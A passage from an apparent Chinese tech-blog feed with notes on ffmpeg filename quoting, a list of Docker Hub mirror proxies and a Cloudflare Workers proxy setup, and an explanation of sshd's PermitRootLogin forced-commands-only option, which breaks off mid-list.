&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;man ffprobe&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;ffprobe --help&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wen-jian-ming-zhong-han-kong-ge&quot;&gt;文件名中含空格&lt;&#x2F;h2&gt;
&lt;p&gt;如果文件名中含有空格，直接使用 ffmpeg 会报错，此时，需要把文件名用双引号括起来：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;ffmpeg -i &quot;input 2023.05.08.avi&quot; -c:v libx264 &quot;output 2023.05.08.mp4&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;can-kao-lian-jie&quot;&gt;参考链接&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linuxize.com&#x2F;post&#x2F;how-to-install-ffmpeg-on-ubuntu-18-04&#x2F;&quot;&gt;How to Install and Use FFmpeg on Ubuntu 18.04&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ruanyifeng.com&#x2F;blog&#x2F;2020&#x2F;01&#x2F;ffmpeg.html&quot;&gt;FFmpeg 视频处理入门教程&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;67878761&quot;&gt;给新手的 20 多个 FFmpeg 命令示例&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;f33910818a1c&quot;&gt;ffmpeg-给视频添加字幕(二十四) - 简书&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;architectforest&#x2F;p&#x2F;12814763.html&quot;&gt;centos8平台用ffprobe获取视频文件信息(ffmpeg4.2.2)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;note.rpsh.net&#x2F;posts&#x2F;2015&#x2F;04&#x2F;21&#x2F;mac-osx-ffmpeg-mp4-gif-convert&#x2F;&quot;&gt;使用 ffmpeg 实现 MP4 与 GIF 的互转&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;gvoze32&#x2F;95f96992a443e73c4794c342a44e0811&quot;&gt;gvoze32&#x2F;ffmpeg GIF to MP4.MD&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bannerbear.com&#x2F;blog&#x2F;how-to-extract-images-from-a-video-using-ffmpeg&#x2F;&quot;&gt;How to Extract Images from a Video Using FFmpeg&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CF-Workers-docker.io：Docker仓库镜像代理工具。</title>
        <published>2024-06-29T00:00:00+00:00</published>
        <updated>2024-06-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cf-workers-docker.io-docker仓库镜像代理工具/"/>
        <id>https://vercel.juzhong.asia/obsidian/cf-workers-docker.io-docker仓库镜像代理工具/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cf-workers-docker.io-docker仓库镜像代理工具/">&lt;h1 id=&quot;di-san-fang-dockerhub-jing-xiang-fu-wu&quot;&gt;第三方 DockerHub 镜像服务&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;注意:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;以下内容仅做镜像服务的整理与搜集，未做任何安全性检测和验证。&lt;&#x2F;li&gt;
&lt;li&gt;使用前请自行斟酌，并根据实际需求进行必要的安全审查。&lt;&#x2F;li&gt;
&lt;li&gt;本列表中的任何服务都不做任何形式的安全承诺或保证。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;DockerHub 镜像仓库&lt;&#x2F;th&gt;&lt;th&gt;镜像加地址&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;t.me&#x2F;bestcfipas&#x2F;1900&quot;&gt;bestcfipas镜像服务&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.registry.cyou&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker-cf.registry.cyou&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;t.me&#x2F;zero_free&#x2F;80&quot;&gt;zero_free镜像服务&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.jsdelivr.fyi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockercf.jsdelivr.fyi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockertest.jsdelivr.fyi&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dockerpull.com&#x2F;&quot;&gt;docker proxy&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockerpull.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dockerproxy.cn&#x2F;&quot;&gt;docker proxy&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockerproxy.cn&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hub.uuuadc.top&#x2F;&quot;&gt;Docker镜像加速站&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;hub.uuuadc.top&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.1panel.live&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;hub.rat.dev&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docker.anyhub.us.kg&#x2F;&quot;&gt;DockerHub 镜像加速代理&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.anyhub.us.kg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.chenby.cn&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockerhub.jobcher.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dockerhub.icu&#x2F;&quot;&gt;镜像使用说明&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;dockerhub.icu&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docker.ckyl.me&#x2F;&quot;&gt;Docker镜像加速站&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.ckyl.me&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docker.awsl9527.cn&#x2F;&quot;&gt;镜像使用说明&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.awsl9527.cn&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docker.hpcloud.cloud&#x2F;&quot;&gt;镜像使用说明&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.hpcloud.cloud&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DaoCloud&#x2F;public-image-mirror&quot;&gt;DaoCloud 镜像站&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;docker.m.daocloud.io&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;atomhub.openatom.cn&#x2F;&quot;&gt;AtomHub 可信镜像仓库平台&lt;&#x2F;a&gt; (只包含基础镜像，共336个)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;atomhub.openatom.cn&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;cf-workers-docker-io-dockercang-ku-jing-xiang-dai-li-gong-ju&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cmliu&#x2F;CF-Workers-docker.io&quot;&gt;CF-Workers-docker.io：Docker仓库镜像代理工具&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cmliu&#x2F;CF-Workers-docker.io&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;cmliu&#x2F;CF-Workers-docker.io&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本项目是一个基于 Cloudflare Workers 的 Docker 镜像代理工具，旨在中转对 Docker 官方镜像仓库的请求，解决访问限制并加速访问。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-xu-yao-zhe-ge-gong-ju-you-yu-shen-mi-yuan-yin-guo-nei-yong-hu-zhu-jian-wu-fa-fang-wen-docker-hubcang-ku-zhe-dui-yu-kai-fa-zhe-lai-shuo-shi-ge-bu-xiao-de-nan-ti&quot;&gt;为什么需要这个工具？由于&lt;strong&gt;神秘原因&lt;&#x2F;strong&gt;，国内用户逐渐无法访问Docker Hub仓库。这对于开发者来说是个不小的难题。&lt;&#x2F;h2&gt;
&lt;p&gt;而我的解决方案是通过&lt;strong&gt;赛博菩萨&lt;&#x2F;strong&gt;中转请求，解决访问限制并加速访问。&lt;&#x2F;p&gt;
&lt;p&gt;注意：&lt;strong&gt;不推荐使用该项目搭建公共服务&lt;&#x2F;strong&gt;。使用你自己的域名搭建公共服务有可能会遭受&lt;strong&gt;污染和反诈&lt;&#x2F;strong&gt;，推荐小规模自用即可。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;bu-shu-fang-shi&quot;&gt;部署方式&lt;&#x2F;h2&gt;
&lt;p&gt;访问&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cmliu&#x2F;CF-Workers-docker.io&quot;&gt;CF-Workers-docker.io：Docker仓库镜像代理工具&lt;&#x2F;a&gt;项目页面&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Workers&lt;&#x2F;strong&gt; 部署：复制 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cmliu&#x2F;CF-Workers-docker.io&#x2F;blob&#x2F;main&#x2F;_worker.js&quot;&gt;_worker.js&lt;&#x2F;a&gt; 代码，&lt;code&gt;保存并部署&lt;&#x2F;code&gt;即可&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Pages&lt;&#x2F;strong&gt; 部署：&lt;code&gt;Fork&lt;&#x2F;code&gt; 后 &lt;code&gt;连接GitHub&lt;&#x2F;code&gt; 一键部署即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ru-he-shi-yong&quot;&gt;如何使用？&lt;&#x2F;h2&gt;
&lt;p&gt;例如您的Workers项目域名为：&lt;code&gt;docker.fxxk.dedyn.io&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-guan-fang-jing-xiang-lu-jing-qian-mian-jia-yu-ming&quot;&gt;1.官方镜像路径前面加域名&lt;&#x2F;h3&gt;
&lt;p&gt;SHELL&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;docker pull docker.fxxk.dedyn.io&#x2F;stilleshan&#x2F;frpc:latest&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;SHELL&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;docker pull docker.fxxk.dedyn.io&#x2F;library&#x2F;nginx:stable-alpine3.19-perl&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;2-yi-jian-she-zhi-jing-xiang-jia-su&quot;&gt;2.一键设置镜像加速&lt;&#x2F;h3&gt;
&lt;p&gt;修改文件 &lt;code&gt;&#x2F;etc&#x2F;docker&#x2F;daemon.json&lt;&#x2F;code&gt;（如果不存在则创建）&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;sudo mkdir -p &#x2F;etc&#x2F;docker&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo tee &#x2F;etc&#x2F;docker&#x2F;daemon.json &amp;lt;&amp;lt;-&#x27;EOF&#x27;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;registry-mirrors&quot;: [&quot;https:&#x2F;&#x2F;docker.fxxk.dedyn.io&quot;]  # 请替换为您自己的Worker自定义域名&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;EOF&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo systemctl daemon-reload&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;sudo systemctl restart docker&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>sshd_config 中 PermitRootLogin</title>
        <published>2024-06-29T00:00:00+00:00</published>
        <updated>2024-06-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/sshd_config-中-permitrootlogin/"/>
        <id>https://vercel.juzhong.asia/obsidian/sshd_config-中-permitrootlogin/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/sshd_config-中-permitrootlogin/">&lt;h1 id=&quot;sshd-config-zhong-permitrootlogin&quot;&gt;sshd_config 中 PermitRootLogin&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;permitrootloginde-ke-xuan-xiang&quot;&gt;PermitRootLogin的可选项&lt;&#x2F;h2&gt;
&lt;p&gt;众所周知，sshd_config是sshd的配置文件，其中&lt;code&gt;PermitRootLogin&lt;&#x2F;code&gt;可以限定root用户通过ssh的登录方式，如禁止登陆、禁止密码登录、仅允许密钥登陆和开放登陆，以下是对可选项的概括：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数类别&lt;&#x2F;th&gt;&lt;th&gt;是否允许ssh登陆&lt;&#x2F;th&gt;&lt;th&gt;登录方式&lt;&#x2F;th&gt;&lt;th&gt;交互shell&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;允许&lt;&#x2F;td&gt;&lt;td&gt;没有限制&lt;&#x2F;td&gt;&lt;td&gt;没有限制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;without-password&lt;&#x2F;td&gt;&lt;td&gt;允许&lt;&#x2F;td&gt;&lt;td&gt;除密码以外&lt;&#x2F;td&gt;&lt;td&gt;没有限制&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;forced-commands-only&lt;&#x2F;td&gt;&lt;td&gt;允许&lt;&#x2F;td&gt;&lt;td&gt;仅允许使用密钥&lt;&#x2F;td&gt;&lt;td&gt;仅允许已授权的命令&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;no&lt;&#x2F;td&gt;&lt;td&gt;不允许&lt;&#x2F;td&gt;&lt;td&gt;N&#x2F;A&lt;&#x2F;td&gt;&lt;td&gt;N&#x2F;A&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;以上选项中，yes和no的功能显而易见，只是很粗暴的允许、禁止root用户进行登陆。&lt;code&gt;without-password&lt;&#x2F;code&gt;在yes的基础上，禁止了root用户使用密码登陆。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;forced-commands-onlyde-gong-neng&quot;&gt;forced-commands-only的功能&lt;&#x2F;h2&gt;
&lt;p&gt;目前看就只有&lt;code&gt;forced-commands-only&lt;&#x2F;code&gt;这个参数还不明了，网上的参考资料仅有以下说明：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;If this option is set to “forced-commands-only”, root login with public key authentication will be allowed, but only if the command option has been specified (which may be useful for taking remote backups even if root login is normally not allowed). All other authentication methods are disabled for root.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;大体上的意思是设置了&lt;code&gt;forced-commands-only&lt;&#x2F;code&gt;之后，root用户仅允许使用密钥登陆，然后只允许执行在&lt;code&gt;command&lt;&#x2F;code&gt;中允许的命令，这个模式通常用来供定期需要使用root用户登陆，但是只需要执行规定的脚本、命令的情形，如定期备份等周期性、固化的操作。但这其中的&lt;code&gt;command&lt;&#x2F;code&gt;到底是如何指定的，这里并没有说明，本着打破砂锅问到底的态度，翻遍了各种资料，终于找到了command这个选项该填到的地方：那就是&lt;code&gt;&#x2F;root&#x2F;.ssh&#x2F;&lt;&#x2F;code&gt;目录下的&lt;code&gt;authorized_keys&lt;&#x2F;code&gt;文件。
默认情况下&lt;code&gt;authorized_keys&lt;&#x2F;code&gt;的文件类似下面这样子：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt0BETg9J6hZb5Kqxy+yfNtKHfwxUELz7PqGtGiM5eNb8DHC8kj02SCFoql5rpaecMGybWRiSK8&#x2F;k+EsK7TMgd4O+p6WkNyLD3WZrmVzUEPaxAdYf1eeCQooTJ+B1TKXDNlF9t8xTVsHd67HmPWYU6i3+kaDSX7cbrz2ds2zUGSozj1UQ8AJDJMbGOqpjs3nVh2EpSDgY7znqmUDnygVPiM4c3OfEzs5iCxVd4ggpPhH8d0bwy8RmPsooxJYUY4rE1C5iWCvB7P810yUFB0OilxiX9AfZa9shC3n5bqaX0ioY1eC44hFFPL602fJyKMj6w&#x2F;zxN5aIeFO03Sl9+FU4YQ== root@iZ23wan41azZmailto:root@iZ23wan41azZ&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那么command就需要加载文件的开头：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;command=”&#x2F;bin&#x2F;ps” ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt0BETg9J6hZb5Kqxy+yfNtKHfwxUELz7PqGtGiM5eNb8DHC8kj02SCFoql5rpaecMGybWRiSK8&#x2F;k+EsK7TMgd4O+p6WkNyLD3WZrmVzUEPaxAdYf1eeCQooTJ+B1TKXDNlF9t8xTVsHd67HmPWYU6i3+kaDSX7cbrz2ds2zUGSozj1UQ8AJDJMbGOqpjs3nVh2EpSDgY7znqmUDnygVPiM4c3OfEzs5iCxVd4ggpPhH8d0bwy8RmPsooxJYUY4rE1C5iWCvB7P810yUFB0OilxiX9AfZa9shC3n5bqaX0ioY1eC44hFFPL602fJyKMj6w&#x2F;zxN5aIeFO03Sl9+FU4YQ== root@iZ23wan41azZmailto:root@iZ23wan41azZ&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这样就完成了配置，使用这个公钥登陆的用户，只有执行&lt;code&gt;&#x2F;bin&#x2F;ps&lt;&#x2F;code&gt;的权限，而且没有交互的shell，只能一次性的执行完command中的命令。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;na-me-wen-ti-lai-liao&quot;&gt;那么问题来了&lt;&#x2F;h2&gt;
&lt;p&gt;细心地朋友可能发现了，因为没有交互式shell，所以command中只能添加一条命令，如果想要执行多条命令应该怎么办呢？这个时候就是伟大的shell脚本登场的时候了，把该执行的命令，全部封装到shell脚本中即可，然后再command中写上脚本的绝对路径即可。
譬如，例子脚本hi.sh：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo This is huigher speaking
echo Now is `date`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么执行的实际执行的效果就是（ssh连接时对ssh连接的目标做了alias）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[root@test .ssh]# ssh huigher
This is huigher speaking
Now is Sat Oct 29 16:13:36 CST 2016
Connection to 121.40.xxx.xxx closed.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;guang-shuo-bu-lian-jia-ba-shi&quot;&gt;光说不练假把式&lt;&#x2F;h2&gt;
&lt;p&gt;说了这么多，可能各位还是有点云里来雾里去，那么就实战一下吧&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-gong-yao-yu-mi-yao&quot;&gt;配置公钥与密钥&lt;&#x2F;h3&gt;
&lt;p&gt;由于&lt;code&gt;forced-commands-only&lt;&#x2F;code&gt;模式，只允许密钥的方式登录，那么就需要先配置公钥和密钥。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在本地电脑上，使用命令&lt;code&gt;ssh-keygen -t rsa&lt;&#x2F;code&gt;来生成一对密钥和公钥，过程中需要选择密钥存放的目录(&#x2F;YourPath&#x2F;YourPrivateKey)和密码(本例中为空)&lt;&#x2F;li&gt;
&lt;li&gt;将生成的公钥放置到远端服务器上，将公钥附加到&lt;code&gt;~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;中，如&lt;code&gt;cat id_rsa.pub &amp;gt;&amp;gt; ~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;确保&lt;code&gt;~&#x2F;.ssh&#x2F;&lt;&#x2F;code&gt;目录的权限700，&lt;code&gt;~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;文件的权限是600&lt;&#x2F;li&gt;
&lt;li&gt;修改&lt;code&gt;&#x2F;etc&#x2F;ssh&#x2F;sshd_config&lt;&#x2F;code&gt;文件，确保其中填写了以下几行
RSAAuthentication yes
PubkeyAuthentication yes&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;she-zhi-forced-commands-onlyxiang-guan-can-shu&quot;&gt;设置forced-commands-only相关参数&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;修改&lt;code&gt;&#x2F;etc&#x2F;ssh&#x2F;sshd_config&lt;&#x2F;code&gt;文件，添加以下一行：
PermitRootLogin forced-commands-only&lt;&#x2F;li&gt;
